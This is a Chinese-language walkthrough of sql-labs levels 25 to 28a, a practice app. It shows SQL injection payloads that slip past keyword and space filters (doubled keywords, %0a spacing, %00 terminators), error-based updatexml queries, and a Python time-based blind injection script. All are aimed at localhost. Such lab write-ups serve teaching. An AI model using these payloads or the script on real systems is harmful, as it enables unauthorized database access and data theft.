一、环境
网上都有不过多阐述
二、sql-labs第25关
它说你的OR和and属于它,那就是过滤了OR和and
注入尝试
不用or和and进行爆破注入,很明显是有注入点的
?id=-1' union select 1,2,3--+
查看数据库
ok,此道题算是解了但是如果我们用了and了呢
?id=-1' and updatexml(1,1,1)--+
很明显报错
绕过方法双写and
?id=-1' aandnd updatexml(1,concat(0x7e,user(),0x7e),1)--+
三、sql-labs第26关
看看界面没空格和注释符了
试着看看怎么报错
替换一下空格 /**/,很明显也被过滤掉了
mysql中有常见的空格%0a,%0c,%0d,好还是不行
看看源码到底过滤了啥,都是替换形式过滤
那很明显and爆破注入是可以的,去试试,很明显确实是可以的
?id=1' aandnd
注入语句,当然这个注释也可以and一个全真式绕过
?id=1' aandnd(updatexml(1,concat(0x7e,user(),0x7e),1));%00
四、sql-labs26a关
换了一个闭合方式和26一样的,单引号闭合多个括号
但是报错被注释了,那我们只能盲注了
先测试一下很明显沉睡了三秒
http://127.0.0.1/sqllabs/Less-26a/?id=1%27)%20aandnd(if%20ascii(left(database(),1))%3E100,sleep(3),0));%00
行了,上脚本吧
import requests
import time
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1')aandnd(if(ascii(substr(database(),%d,1))>%d, sleep(2), 0)aandnd('1')=('1" % (i,mid))
params = {"id":payload}
start_time = time.time()
r = requests.get(url, params=params)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqli/Less-26a/index.php'
inject_database(url)
五、第27关
看一看27的过滤
尝试一下双写
http://127.0.0.1/sqli/Less-27/?id=-1%27%0auunionnion
ok绕过了
开始查询
http://127.0.0.1/sqli/Less-27/?id=100%27%0auunionnion%0aSelEct%0a1,2,3;%00
好了很明显注入点在2,3操作就行了
爆破注入也可以
http://127.0.0.1/sqli/Less-27/?id=1%27%0aand%0aupdatexml(1,concat(0x7e,user(),0x7e),1);%00
六、第27a关
闭合方式变成"号了跟27一模一样
七、第28关
?id=1%27)%0aunion%0aselect
被限制了
有个/i修饰符无视大小写了,如何绕过?双写即可
http://127.0.0.1/sqli/Less-28/?id=1%27)%0aunion%0aunion%0aselectselect
最终
http://127.0.0.1/sqli/Less-28/?id=100%27)%0aunion%0aunion%0aselectselect%0a1,2,3;%00
八、28a
跟28一样的,而且限制变少了,没空格等限制了